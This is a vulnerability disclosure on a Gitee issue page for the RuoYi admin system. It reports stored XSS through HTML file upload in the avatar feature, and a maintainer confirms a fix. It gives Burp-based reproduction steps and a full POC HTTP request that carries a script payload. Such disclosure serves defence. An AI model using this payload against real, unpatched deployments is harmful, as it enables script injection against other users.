5.4K Star 36.4K Fork 19.4K

GVP若依 / RuoYi

 / 详情

Vulnerability: The html file can be uploaded where the avatar is uploaded, and its content not be filtered, which resulting in stored XSS in Ruoyi cms

已完成
创建于  
2022-05-16 08:03

Vulnerability disclosure

Vulnerability title: The html file can be uploaded where the avatar is uploaded, and its content not be filtered, which resulting in stored XSS in Ruoyi cms

Product: https://github.com/yangzongzhuan/RuoYi

Affected Versions: v4.7.3(the lastest vesion)

Discovery time: 2022.5.16

Found by: solarpeng502

Exploit sence: The System allows multiple users to log in. If a user is granted user management rights, he can insert a malicious xss payload on user management page, so that all users with this permission can access and trigger an xss attack

Analysis report:

  1. If you are not Chinese,please change the language into the English through Browser translation plugin such as Google.

  2. After deployment, enter the background management page
    输入图片说明

  3. Click the avatar into the personal center
    输入图片说明

  4. Click the "modify avatar",and upload a normal image,the click OK button
    输入图片说明
    输入图片说明

  5. Intercept the request package with a packet capture tool such as burp, change the file suffix to html, and change the content with xss payload such as "<script>alert(1)</script>,then pass the request,and the response shows "{"msg":"操作成功","code":0}",which means upload success
    输入图片说明
    输入图片说明
    输入图片说明

  6. Refresh the index page,start burp,and then click the avatar again,the burp will intercept the xss html that we upload
    输入图片说明
    输入图片说明

  7. Copy the html url,and then send to the other users using Ruoyi cms,if they click,the xss attack is triggered
    输入图片说明

POC:

POST /system/user/profile/updateAvatar HTTP/1.1
Host: mysite.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------21781164112778176297556867959
Content-Length: 249
Origin: http://mysite.com/
Connection: close
Referer: http://mysite.com/system/user/profile/avatar
Cookie: Your cookies

-----------------------------21781164112778176297556867959
Content-Disposition: form-data; name="avatarfile"; filename="blob.html"
Content-Type: image/png

<script>alert(1)</script>

-----------------------------21781164112778176297556867959--

Fixes: The backend should verify the file suffix, and do not allow html file upload;or check the content in Html file that filter xss payloads.

评论 (1)

solarpeng 创建了任务
solarpeng 修改了描述
solarpeng 修改了标题
solarpeng 修改了标题
solarpeng 修改了标题
solarpeng 修改了描述
展开全部操作日志

多谢提醒,已修复。更新提交代码即可。
用户头像上传格式限制
https://gitee.com/y_project/RuoYi/commit/d8b2a9a905fb750fa60e2400238cf4750a77c5e6

若依 任务状态从 待办的 修改为已完成

登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(2)
1151004 y project 1578942802
Java
1
https://gitee.com/y_project/RuoYi.git
git@gitee.com:y_project/RuoYi.git
y_project
RuoYi
RuoYi

搜索帮助